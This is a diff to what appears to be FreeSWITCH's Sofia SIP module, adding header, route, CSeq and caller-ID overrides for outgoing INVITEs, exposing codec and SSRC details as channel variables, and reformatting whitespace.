if (zstr(tech_pvt->invite_contact)) {
- const char * contact;
+ const char *contact;
if ((contact = switch_channel_get_variable(channel, "sip_contact_user"))) {
char *ip_addr;
char *ipv6;
- if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
- ip_addr = (switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network))
+ if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
+ ip_addr = (switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network))
? tech_pvt->profile->sipip : tech_pvt->profile->extsipip;
} else {
ip_addr = tech_pvt->profile->extsipip ? tech_pvt->profile->extsipip : tech_pvt->profile->sipip;
}
-
+
ipv6 = strchr(ip_addr, ':');
if (sofia_glue_transport_has_tls(tech_pvt->transport)) {
- tech_pvt->invite_contact = switch_core_session_sprintf(session, "sip:%s@%s%s%s:%d", contact,
- ipv6 ? "[" : "", ip_addr, ipv6 ? "]" : "",
- tech_pvt->profile->tls_sip_port);
+ tech_pvt->invite_contact = switch_core_session_sprintf(session, "sip:%s@%s%s%s:%d", contact,
+ ipv6 ? "[" : "", ip_addr, ipv6 ? "]" : "", tech_pvt->profile->tls_sip_port);
} else {
- tech_pvt->invite_contact = switch_core_session_sprintf(session, "sip:%s@%s%s%s:%d", contact,
+ tech_pvt->invite_contact = switch_core_session_sprintf(session, "sip:%s@%s%s%s:%d", contact,
ipv6 ? "[" : "", ip_addr, ipv6 ? "]" : "", tech_pvt->profile->sip_port);
}
} else {
if (sofia_glue_transport_has_tls(tech_pvt->transport)) {
tech_pvt->invite_contact = tech_pvt->profile->tls_url;
} else {
- if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
+ if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
tech_pvt->invite_contact = tech_pvt->profile->public_url;
} else {
tech_pvt->invite_contact = tech_pvt->profile->url;
@@ -1653,36 +1655,68 @@
url_str = sofia_overcome_sip_uri_weakness(session, url, tech_pvt->transport, SWITCH_TRUE, invite_params);
invite_contact = sofia_overcome_sip_uri_weakness(session, tech_pvt->invite_contact, tech_pvt->transport, SWITCH_FALSE, invite_contact_params);
- from_str = sofia_overcome_sip_uri_weakness(session, use_from_str, 0, SWITCH_TRUE, invite_from_params);
+ from_str = sofia_overcome_sip_uri_weakness(session, invite_from_uri ? invite_from_uri : use_from_str, 0, SWITCH_TRUE, invite_from_params);
to_str = sofia_overcome_sip_uri_weakness(session, invite_to_uri ? invite_to_uri : tech_pvt->dest_to, 0, SWITCH_FALSE, invite_to_params);
+ switch_channel_set_variable(channel, "sip_outgoing_contact_uri", invite_contact);
+
+
/*
Does the "genius" who wanted SIP to be "text-based" so it was "easier to read" even use it now,
or did he just suggest it to make our lives miserable?
*/
use_from_str = from_str;
+
+ if (!switch_stristr("sip:", use_from_str)) {
+ use_from_str = switch_core_session_sprintf(session, "sip:%s", use_from_str);
+ }
+
if (!from_display && !strcasecmp(tech_pvt->caller_profile->caller_id_name, "_undef_")) {
from_str = switch_core_session_sprintf(session, "<%s>", use_from_str);
} else {
- from_str = switch_core_session_sprintf(session, "\"%s\" <%s>", from_display ? from_display :
+ from_str = switch_core_session_sprintf(session, "\"%s\" <%s>", from_display ? from_display :
tech_pvt->caller_profile->caller_id_name, use_from_str);
}
-
- if (!(call_id = switch_channel_get_variable(channel, "sip_outgoing_call_id"))) {
+
+ if (!(call_id = switch_channel_get_variable(channel, "sip_invite_call_id"))) {
if (sofia_test_pflag(tech_pvt->profile, PFLAG_UUID_AS_CALLID)) {
call_id = switch_core_session_get_uuid(session);
}
}
+ if (handle_full_from) {
+ from_str = (char *) handle_full_from;
+ }
+
+ if (handle_full_to) {
+ to_str = (char *) handle_full_to;
+ }
+
+
+ if (invite_req_uri) {
+ url_str = (char *) invite_req_uri;
+ }
+
+ if (url_str) {
+ char *s = NULL;
+ if (!strncasecmp(url_str, "sip:", 4)) {
+ s = url_str + 4;
+ }
+ if (!strncasecmp(url_str, "sips:", 5)) {
+ s = url_str + 5;
+ }
+ if (!s) {
+ s = url_str;
+ }
+ switch_channel_set_variable(channel, "sip_req_uri", s);
+ }
+
tech_pvt->nh = nua_handle(tech_pvt->profile->nua, NULL,
NUTAG_URL(url_str),
TAG_IF(call_id, SIPTAG_CALL_ID_STR(call_id)),
- SIPTAG_TO_STR(to_str),
- SIPTAG_FROM_STR(from_str),
- SIPTAG_CONTACT_STR(invite_contact),
- TAG_END());
+ SIPTAG_TO_STR(to_str), SIPTAG_FROM_STR(from_str), SIPTAG_CONTACT_STR(invite_contact), TAG_END());
- if (tech_pvt->dest && (strstr(tech_pvt->dest, ";fs_nat") || strstr(tech_pvt->dest, ";received")
+ if (tech_pvt->dest && (strstr(tech_pvt->dest, ";fs_nat") || strstr(tech_pvt->dest, ";received")
|| ((val = switch_channel_get_variable(channel, "sip_sticky_contact")) && switch_true(val)))) {
sofia_set_flag(tech_pvt, TFLAG_NAT);
tech_pvt->record_route = switch_core_session_strdup(tech_pvt->session, url_str);
@@ -1690,27 +1724,49 @@
session_timeout = SOFIA_NAT_SESSION_TIMEOUT;
switch_channel_set_variable(channel, "sip_nat_detected", "true");
}
-
+
if ((val = switch_channel_get_variable(channel, "sip_cid_type"))) {
cid_type = sofia_cid_name2type(val);
} else {
cid_type = tech_pvt->cid_type;
}
+ if (sofia_test_flag(tech_pvt, TFLAG_RECOVERING) && switch_channel_direction(tech_pvt->channel) == SWITCH_CALL_DIRECTION_INBOUND) {
+ if (zstr((use_name = switch_channel_get_variable(tech_pvt->channel, "effective_callee_id_name"))) &&
+ zstr((use_name = switch_channel_get_variable(tech_pvt->channel, "sip_callee_id_name")))) {
+ if (!(use_name = switch_channel_get_variable(tech_pvt->channel, "sip_to_display"))) {
+ use_name = switch_channel_get_variable(tech_pvt->channel, "sip_to_user");
+ }
+ }
+
+ if (zstr((use_number = switch_channel_get_variable(tech_pvt->channel, "effective_callee_id_number"))) &&
+ zstr((use_number = switch_channel_get_variable(tech_pvt->channel, "sip_callee_id_number")))) {
+ use_number = switch_channel_get_variable(tech_pvt->channel, "sip_to_user");
+ }
+
+ if (zstr(use_name) && zstr(use_name = tech_pvt->caller_profile->callee_id_name)) {
+ use_name = tech_pvt->caller_profile->caller_id_name;
+ }
+
+ if (zstr(use_number) && zstr(use_number = tech_pvt->caller_profile->callee_id_number)) {
+ use_number = tech_pvt->caller_profile->caller_id_number;
+ }
+ } else {
+ use_name = tech_pvt->caller_profile->caller_id_name;
+ use_number = tech_pvt->caller_profile->caller_id_number;
+ }
+
+
switch (cid_type) {
case CID_TYPE_PID:
if (switch_test_flag(caller_profile, SWITCH_CPF_SCREEN)) {
- tech_pvt->asserted_id = switch_core_session_sprintf(tech_pvt->session, "\"%s\"<sip:%s@%s>",
- tech_pvt->caller_profile->caller_id_name,
- tech_pvt->caller_profile->caller_id_number,
- rpid_domain);
+ tech_pvt->asserted_id = switch_core_session_sprintf(tech_pvt->session, "\"%s\"<sip:%s@%s>", use_name, use_number, rpid_domain);
} else {
tech_pvt->preferred_id = switch_core_session_sprintf(tech_pvt->session, "\"%s\"<sip:%s@%s>",
tech_pvt->caller_profile->caller_id_name,
- tech_pvt->caller_profile->caller_id_number,
- rpid_domain);
+ tech_pvt->caller_profile->caller_id_number, rpid_domain);
}
-
+
if (switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER)) {
tech_pvt->privacy = "id";
} else {
@@ -1728,18 +1784,17 @@
} else if (switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER)) {
priv = "full";
}
-
+
if (switch_test_flag(caller_profile, SWITCH_CPF_SCREEN)) {
screen = "yes";
}
-
- if (!strcasecmp(tech_pvt->caller_profile->caller_id_name, "_undef_")) {
+
+ if (zstr(tech_pvt->caller_profile->caller_id_name) || !strcasecmp(tech_pvt->caller_profile->caller_id_name, "_undef_")) {
tech_pvt->rpid = switch_core_session_sprintf(tech_pvt->session, "<sip:%s@%s>;party=calling;screen=%s;privacy=%s",
- tech_pvt->caller_profile->caller_id_number, rpid_domain, screen, priv);
+ use_number, rpid_domain, screen, priv);
} else {
tech_pvt->rpid = switch_core_session_sprintf(tech_pvt->session, "\"%s\"<sip:%s@%s>;party=calling;screen=%s;privacy=%s",
- tech_pvt->caller_profile->caller_id_name,
- tech_pvt->caller_profile->caller_id_number, rpid_domain, screen, priv);
+ use_name, use_number, rpid_domain, screen, priv);
}
}
break;
@@ -1815,7 +1870,7 @@
if (dst->route_uri) {
route_uri = sofia_overcome_sip_uri_weakness(tech_pvt->session, dst->route_uri, tech_pvt->transport, SWITCH_TRUE, NULL);
}
-
+
if (dst->route) {
route = dst->route;
}
@@ -1825,63 +1880,79 @@
route_uri = switch_core_session_strdup(session, val);
route = NULL;
}
-
+
if (route_uri) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "%s Setting proxy route to %s\n", route_uri, switch_channel_get_name(channel));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "%s Setting proxy route to %s\n", route_uri,
+ switch_channel_get_name(channel));
tech_pvt->route_uri = switch_core_session_strdup(tech_pvt->session, route_uri);
}
+
+ if ((val = switch_channel_get_variable(tech_pvt->channel, "sip_invite_cseq"))) {
+ uint32_t callsequence = (uint32_t) strtoul(val, NULL, 10);
+ cseq = sip_cseq_create(tech_pvt->nh->nh_home, callsequence, SIP_METHOD_INVITE);
+ }
+
+
switch_channel_clear_flag(channel, CF_MEDIA_ACK);
+ if (handle_full_from) {
+ tech_pvt->nh->nh_has_invite = 1;
+ }
+
if (sofia_use_soa(tech_pvt)) {
nua_invite(tech_pvt->nh,
NUTAG_AUTOANSWER(0),
NUTAG_SESSION_TIMER(session_timeout),
+ TAG_IF(invite_full_from, SIPTAG_FROM_STR(invite_full_from)),
+ TAG_IF(invite_full_to, SIPTAG_TO_STR(invite_full_to)),
TAG_IF(tech_pvt->redirected, NUTAG_URL(tech_pvt->redirected)),
TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
+ TAG_IF(!zstr(invite_full_via), SIPTAG_VIA_STR(invite_full_via)),
TAG_IF(!zstr(tech_pvt->rpid), SIPTAG_REMOTE_PARTY_ID_STR(tech_pvt->rpid)),
TAG_IF(!zstr(tech_pvt->preferred_id), SIPTAG_P_PREFERRED_IDENTITY_STR(tech_pvt->preferred_id)),
TAG_IF(!zstr(tech_pvt->asserted_id), SIPTAG_P_ASSERTED_IDENTITY_STR(tech_pvt->asserted_id)),
TAG_IF(!zstr(tech_pvt->privacy), SIPTAG_PRIVACY_STR(tech_pvt->privacy)),
TAG_IF(!zstr(alert_info), SIPTAG_HEADER_STR(alert_info)),
TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
- TAG_IF(sofia_test_pflag(tech_pvt->profile, PFLAG_PASS_CALLEE_ID), SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
+ TAG_IF(sofia_test_pflag(tech_pvt->profile, PFLAG_PASS_CALLEE_ID), SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)),
TAG_IF(!zstr(max_forwards), SIPTAG_MAX_FORWARDS_STR(max_forwards)),
TAG_IF(!zstr(route_uri), NUTAG_PROXY(route_uri)),
+ TAG_IF(!zstr(invite_route_uri), NUTAG_INITIAL_ROUTE_STR(invite_route_uri)),
TAG_IF(!zstr(route), SIPTAG_ROUTE_STR(route)),
TAG_IF(tech_pvt->profile->minimum_session_expires, NUTAG_MIN_SE(tech_pvt->profile->minimum_session_expires)),
+ TAG_IF(cseq, SIPTAG_CSEQ(cseq)),
SOATAG_ADDRESS(tech_pvt->adv_sdp_audio_ip),
SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
SOATAG_REUSE_REJECTED(1),
SOATAG_ORDERED_USER(1),
SOATAG_RTP_SORT(SOA_RTP_SORT_REMOTE),
- SOATAG_RTP_SELECT(SOA_RTP_SELECT_ALL),
- TAG_IF(rep, SIPTAG_REPLACES_STR(rep)),
- SOATAG_HOLD(holdstr),
- TAG_END());
+ SOATAG_RTP_SELECT(SOA_RTP_SELECT_ALL), TAG_IF(rep, SIPTAG_REPLACES_STR(rep)), SOATAG_HOLD(holdstr), TAG_END());
} else {
nua_invite(tech_pvt->nh,
NUTAG_AUTOANSWER(0),
NUTAG_SESSION_TIMER(session_timeout),
+ TAG_IF(invite_full_from, SIPTAG_FROM_STR(invite_full_from)),
+ TAG_IF(invite_full_to, SIPTAG_TO_STR(invite_full_to)),
TAG_IF(tech_pvt->redirected, NUTAG_URL(tech_pvt->redirected)),
TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
+ TAG_IF(!zstr(invite_full_via), SIPTAG_VIA_STR(invite_full_via)),
TAG_IF(!zstr(tech_pvt->rpid), SIPTAG_REMOTE_PARTY_ID_STR(tech_pvt->rpid)),
TAG_IF(!zstr(tech_pvt->preferred_id), SIPTAG_P_PREFERRED_IDENTITY_STR(tech_pvt->preferred_id)),
TAG_IF(!zstr(tech_pvt->asserted_id), SIPTAG_P_ASSERTED_IDENTITY_STR(tech_pvt->asserted_id)),
TAG_IF(!zstr(tech_pvt->privacy), SIPTAG_PRIVACY_STR(tech_pvt->privacy)),
TAG_IF(!zstr(alert_info), SIPTAG_HEADER_STR(alert_info)),
TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
- TAG_IF(sofia_test_pflag(tech_pvt->profile, PFLAG_PASS_CALLEE_ID), SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
+ TAG_IF(sofia_test_pflag(tech_pvt->profile, PFLAG_PASS_CALLEE_ID), SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)),
TAG_IF(!zstr(max_forwards), SIPTAG_MAX_FORWARDS_STR(max_forwards)),
TAG_IF(!zstr(route_uri), NUTAG_PROXY(route_uri)),
TAG_IF(!zstr(route), SIPTAG_ROUTE_STR(route)),
+ TAG_IF(!zstr(invite_route_uri), NUTAG_INITIAL_ROUTE_STR(invite_route_uri)),
TAG_IF(tech_pvt->profile->minimum_session_expires, NUTAG_MIN_SE(tech_pvt->profile->minimum_session_expires)),
+ TAG_IF(cseq, SIPTAG_CSEQ(cseq)),
NUTAG_MEDIA_ENABLE(0),
SIPTAG_CONTENT_TYPE_STR("application/sdp"),
- SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
- TAG_IF(rep, SIPTAG_REPLACES_STR(rep)),
- SOATAG_HOLD(holdstr),
- TAG_END());
+ SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str), TAG_IF(rep, SIPTAG_REPLACES_STR(rep)), SOATAG_HOLD(holdstr), TAG_END());
}
sofia_glue_free_destination(dst);
@@ -1896,13 +1967,13 @@
private_object_t *tech_pvt = switch_core_session_get_private(session);
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_caller_profile_t *caller_profile;
- const char *sipip, *format, *contact_url;
+ const char *sipip, *format, *contact_url;
switch_assert(tech_pvt != NULL);
switch_mutex_lock(tech_pvt->sofia_mutex);
caller_profile = switch_channel_get_caller_profile(channel);
- if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
+ if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
sipip = tech_pvt->profile->extsipip;
contact_url = tech_pvt->profile->public_url;
} else {
@@ -1912,17 +1983,12 @@
format = strchr(sipip, ':') ? "\"%s\" <sip:%s@[%s]>" : "\"%s\" <sip:%s@%s>";
- if ((tech_pvt->from_str = switch_core_session_sprintf(session, format,
- caller_profile->caller_id_name,
- caller_profile->caller_id_number, sipip))) {
+ if ((tech_pvt->from_str = switch_core_session_sprintf(session, format, caller_profile->caller_id_name, caller_profile->caller_id_number, sipip))) {
const char *rep = switch_channel_get_variable(channel, SOFIA_REPLACES_HEADER);
tech_pvt->nh2 = nua_handle(tech_pvt->profile->nua, NULL,
- SIPTAG_TO_STR(tech_pvt->dest),
- SIPTAG_FROM_STR(tech_pvt->from_str),
- SIPTAG_CONTACT_STR(contact_url),
- TAG_END());
+ SIPTAG_TO_STR(tech_pvt->dest), SIPTAG_FROM_STR(tech_pvt->from_str), SIPTAG_CONTACT_STR(contact_url), TAG_END());
nua_handle_bind(tech_pvt->nh2, tech_pvt->sofia_private);
@@ -2007,18 +2073,18 @@
add_stat(stats->outbound.skip_packet_count, "out_skip_packet_count");
add_stat(stats->outbound.dtmf_packet_count, "out_dtmf_packet_count");
add_stat(stats->outbound.cng_packet_count, "out_cng_packet_count");
-
+
}
}
void sofia_glue_set_rtp_stats(private_object_t *tech_pvt)
{
if (tech_pvt->rtp_session) {
- set_stats(tech_pvt->rtp_session, tech_pvt, "audio");
+ set_stats(tech_pvt->rtp_session, tech_pvt, "audio");
}
if (tech_pvt->video_rtp_session) {
- set_stats(tech_pvt->video_rtp_session, tech_pvt, "video");
+ set_stats(tech_pvt->video_rtp_session, tech_pvt, "video");
}
}
@@ -2038,9 +2104,9 @@
switch_rtp_release_port(tech_pvt->profile->rtpip, tech_pvt->local_sdp_video_port);
}
-
- if (tech_pvt->local_sdp_video_port > 0 && sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
- switch_nat_del_mapping((switch_port_t)tech_pvt->local_sdp_video_port, SWITCH_NAT_UDP);
+
+ if (tech_pvt->local_sdp_video_port > 0 && sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
+ switch_nat_del_mapping((switch_port_t) tech_pvt->local_sdp_video_port, SWITCH_NAT_UDP);
}
@@ -2050,10 +2116,10 @@
switch_rtp_release_port(tech_pvt->profile->rtpip, tech_pvt->local_sdp_audio_port);
}
- if (tech_pvt->local_sdp_audio_port > 0 && sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
- switch_nat_del_mapping((switch_port_t)tech_pvt->local_sdp_audio_port, SWITCH_NAT_UDP);
+ if (tech_pvt->local_sdp_audio_port > 0 && sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
+ switch_nat_del_mapping((switch_port_t) tech_pvt->local_sdp_audio_port, SWITCH_NAT_UDP);
}
-
+
}
switch_status_t sofia_glue_tech_set_video_codec(private_object_t *tech_pvt, int force)
@@ -2071,7 +2137,8 @@
switch_core_codec_destroy(&tech_pvt->video_read_codec);
switch_core_codec_destroy(&tech_pvt->video_write_codec);
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Already using %s\n", tech_pvt->video_read_codec.implementation->iananame);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Already using %s\n",
+ tech_pvt->video_read_codec.implementation->iananame);
return SWITCH_STATUS_SUCCESS;
}
}
@@ -2116,6 +2183,13 @@
tech_pvt->video_read_codec.agreed_pt = tech_pvt->video_agreed_pt;
switch_core_session_set_video_read_codec(tech_pvt->session, &tech_pvt->video_read_codec);
switch_core_session_set_video_write_codec(tech_pvt->session, &tech_pvt->video_write_codec);
+
+
+ switch_channel_set_variable(tech_pvt->channel, "sip_use_video_codec_name", tech_pvt->video_rm_encoding);
+ switch_channel_set_variable(tech_pvt->channel, "sip_use_video_codec_fmtp", tech_pvt->video_rm_fmtp);
+ switch_channel_set_variable_printf(tech_pvt->channel, "sip_use_video_codec_rate", "%d", tech_pvt->video_rm_rate);
+ switch_channel_set_variable_printf(tech_pvt->channel, "sip_use_video_codec_ptime", "%d", 0);
+
}
}
return SWITCH_STATUS_SUCCESS;
@@ -2138,12 +2212,11 @@
}
if (strcasecmp(tech_pvt->read_impl.iananame, tech_pvt->iananame) ||
tech_pvt->read_impl.samples_per_second != tech_pvt->rm_rate ||
- tech_pvt->codec_ms != (uint32_t)tech_pvt->read_impl.microseconds_per_packet / 1000) {
-
+ tech_pvt->codec_ms != (uint32_t) tech_pvt->read_impl.microseconds_per_packet / 1000) {
+
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Changing Codec from %s@%dms to %s@%dms\n",
- tech_pvt->read_impl.iananame, tech_pvt->read_impl.microseconds_per_packet / 1000,
- tech_pvt->rm_encoding, tech_pvt->codec_ms);
-
+ tech_pvt->read_impl.iananame, tech_pvt->read_impl.microseconds_per_packet / 1000, tech_pvt->rm_encoding, tech_pvt->codec_ms);
+
switch_core_session_lock_codec_write(tech_pvt->session);
switch_core_session_lock_codec_read(tech_pvt->session);
resetting = 1;
@@ -2154,7 +2227,7 @@
switch_goto_status(SWITCH_STATUS_SUCCESS, end);
}
}
-
+
if (switch_core_codec_init(&tech_pvt->read_codec,
tech_pvt->iananame,
tech_pvt->rm_fmtp,
@@ -2179,6 +2252,12 @@
switch_goto_status(SWITCH_STATUS_FALSE, end);
}
+ switch_channel_set_variable(tech_pvt->channel, "sip_use_codec_name", tech_pvt->iananame);
+ switch_channel_set_variable(tech_pvt->channel, "sip_use_codec_fmtp", tech_pvt->rm_fmtp);
+ switch_channel_set_variable_printf(tech_pvt->channel, "sip_use_codec_rate", "%d", tech_pvt->rm_rate);
+ switch_channel_set_variable_printf(tech_pvt->channel, "sip_use_codec_ptime", "%d", tech_pvt->codec_ms);
+
+
switch_assert(tech_pvt->read_codec.implementation);
switch_assert(tech_pvt->write_codec.implementation);
@@ -2191,12 +2270,10 @@
if (switch_rtp_ready(tech_pvt->rtp_session)) {
switch_assert(tech_pvt->read_codec.implementation);
- if (switch_rtp_change_interval(tech_pvt->rtp_session,
- tech_pvt->read_impl.microseconds_per_packet,
- tech_pvt->read_impl.samples_per_packet
- ) != SWITCH_STATUS_SUCCESS) {
+ if (switch_rtp_change_interval(tech_pvt->rtp_session,
+ tech_pvt->read_impl.microseconds_per_packet, tech_pvt->read_impl.samples_per_packet) != SWITCH_STATUS_SUCCESS) {
switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
- switch_goto_status(SWITCH_STATUS_FALSE, end);
+ switch_goto_status(SWITCH_STATUS_FALSE, end);
}
}
@@ -2227,7 +2304,7 @@
switch_rtp_set_default_payload(tech_pvt->rtp_session, tech_pvt->pt);
}
- end:
+ end:
if (resetting) {
switch_core_session_unlock_codec_write(tech_pvt->session);
switch_core_session_unlock_codec_read(tech_pvt->session);
@@ -2388,9 +2465,9 @@
if (myflags) {
flags = myflags;
} else if (!sofia_test_pflag(tech_pvt->profile, PFLAG_DISABLE_RTP_AUTOADJ) &&
- !((val = switch_channel_get_variable(tech_pvt->channel, "disable_rtp_auto_adjust")) && switch_true(val))) {
+ !((val = switch_channel_get_variable(tech_pvt->channel, "disable_rtp_auto_adjust")) && switch_true(val))) {
flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_AUTOADJ | SWITCH_RTP_FLAG_DATAWAIT);
- } else {
+ } else {
flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_DATAWAIT);
}
@@ -2433,10 +2510,11 @@
switch_port_t remote_port = switch_rtp_get_remote_port(tech_pvt->rtp_session);
if (remote_host && remote_port && !strcmp(remote_host, tech_pvt->remote_sdp_audio_ip) && remote_port == tech_pvt->remote_sdp_audio_port) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Audio params are unchanged for %s.\n", switch_channel_get_name(tech_pvt->channel));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Audio params are unchanged for %s.\n",
+ switch_channel_get_name(tech_pvt->channel));
goto video;
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Audio params changed for %s from %s:%d to %s:%d\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Audio params changed for %s from %s:%d to %s:%d\n",
switch_channel_get_name(tech_pvt->channel),
remote_host, remote_port, tech_pvt->remote_sdp_audio_ip, tech_pvt->remote_sdp_audio_port);
@@ -2461,7 +2539,7 @@
if (tech_pvt->rtp_session && sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
sofia_clear_flag_locked(tech_pvt, TFLAG_REINVITE);
-
+
if (switch_rtp_set_remote_address(tech_pvt->rtp_session, tech_pvt->remote_sdp_audio_ip, tech_pvt->remote_sdp_audio_port, SWITCH_TRUE, &err) !=
SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "AUDIO RTP REPORTS ERROR: [%s]\n", err);
@@ -2514,8 +2592,7 @@
tech_pvt->agreed_pt,
tech_pvt->read_impl.samples_per_packet,
tech_pvt->codec_ms * 1000,
- (switch_rtp_flag_t) flags, timer_name, &err,
- switch_core_session_get_pool(tech_pvt->session));
+ (switch_rtp_flag_t) flags, timer_name, &err, switch_core_session_get_pool(tech_pvt->session));
}
if (switch_rtp_ready(tech_pvt->rtp_session)) {
@@ -2523,9 +2600,18 @@
uint8_t vad_out = sofia_test_flag(tech_pvt, TFLAG_VAD_OUT) ? 1 : 0;
uint8_t inb = sofia_test_flag(tech_pvt, TFLAG_OUTBOUND) ? 0 : 1;
uint32_t stun_ping = 0;
+ const char *ssrc;
+ if ((ssrc = switch_channel_get_variable(tech_pvt->channel, "rtp_use_ssrc"))) {
+ uint32_t ssrc_ul = (uint32_t) strtoul(ssrc, NULL, 10);
+ switch_rtp_set_ssrc(tech_pvt->rtp_session, ssrc_ul);
+ }
+
+
switch_channel_set_flag(tech_pvt->channel, CF_FS_RTP);
-
+
+ switch_channel_set_variable_printf(tech_pvt->channel, "sip_use_pt", "%d", tech_pvt->agreed_pt);
+
if ((val = switch_channel_get_variable(tech_pvt->channel, "rtp_enable_vad_in")) && switch_true(val)) {
vad_in = 1;
}
@@ -2542,7 +2628,7 @@
if ((tech_pvt->stun_flags & STUN_FLAG_SET) && (val = switch_channel_get_variable(tech_pvt->channel, "rtp_stun_ping"))) {
int ival = atoi(val);
-
+
if (ival <= 0) {
if (switch_true(val)) {
ival = 6;
@@ -2553,11 +2639,13 @@
}
tech_pvt->ssrc = switch_rtp_get_ssrc(tech_pvt->rtp_session);
+ switch_channel_set_variable_printf(tech_pvt->channel, "rtp_use_ssrc", "%u", tech_pvt->ssrc);
+
sofia_set_flag(tech_pvt, TFLAG_RTP);
sofia_set_flag(tech_pvt, TFLAG_IO);
-
+
switch_rtp_intentional_bugs(tech_pvt->rtp_session, tech_pvt->rtp_bugs);
-
+
if ((vad_in && inb) || (vad_out && !inb)) {
switch_rtp_enable_vad(tech_pvt->rtp_session, tech_pvt->session, &tech_pvt->read_codec, SWITCH_VAD_FLAG_TALKING);
sofia_set_flag(tech_pvt, TFLAG_VAD);
@@ -2566,22 +2654,25 @@
}
if (stun_ping) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Setting stun ping to %s:%d\n", tech_pvt->stun_ip, stun_ping);
- switch_rtp_activate_stun_ping(tech_pvt->rtp_session, tech_pvt->stun_ip, tech_pvt->stun_port,
- stun_ping, (tech_pvt->stun_flags & STUN_FLAG_FUNNY) ? 1 : 0);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Setting stun ping to %s:%d\n", tech_pvt->stun_ip,
+ stun_ping);
+ switch_rtp_activate_stun_ping(tech_pvt->rtp_session, tech_pvt->stun_ip, tech_pvt->stun_port, stun_ping,
+ (tech_pvt->stun_flags & STUN_FLAG_FUNNY) ? 1 : 0);
}
if ((val = switch_channel_get_variable(tech_pvt->channel, "jitterbuffer_msec"))) {
int len = atoi(val);
if (len < 100 || len > 1000) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "Invalid Jitterbuffer spec [%d] must be between 100 and 1000\n", len);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR,
+ "Invalid Jitterbuffer spec [%d] must be between 100 and 1000\n", len);
} else {
int qlen;
qlen = len / (tech_pvt->read_impl.microseconds_per_packet / 1000);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Setting Jitterbuffer to %dms (%d frames)\n", len, qlen);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Setting Jitterbuffer to %dms (%d frames)\n", len,
+ qlen);
switch_rtp_activate_jitter_buffer(tech_pvt->rtp_session, qlen);
}
}
@@ -2601,8 +2692,7 @@
}
if (rtp_timeout_sec) {
- tech_pvt->max_missed_packets = (tech_pvt->read_impl.samples_per_second * rtp_timeout_sec) /
- tech_pvt->read_impl.samples_per_packet;
+ tech_pvt->max_missed_packets = (tech_pvt->read_impl.samples_per_second * rtp_timeout_sec) / tech_pvt->read_impl.samples_per_packet;
switch_rtp_set_max_missed_packets(tech_pvt->rtp_session, tech_pvt->max_missed_packets);
if (!rtp_hold_timeout_sec) {
@@ -2611,8 +2701,7 @@
}
if (rtp_hold_timeout_sec) {
- tech_pvt->max_missed_hold_packets = (tech_pvt->read_impl.samples_per_second * rtp_hold_timeout_sec) /
- tech_pvt->read_impl.samples_per_packet;
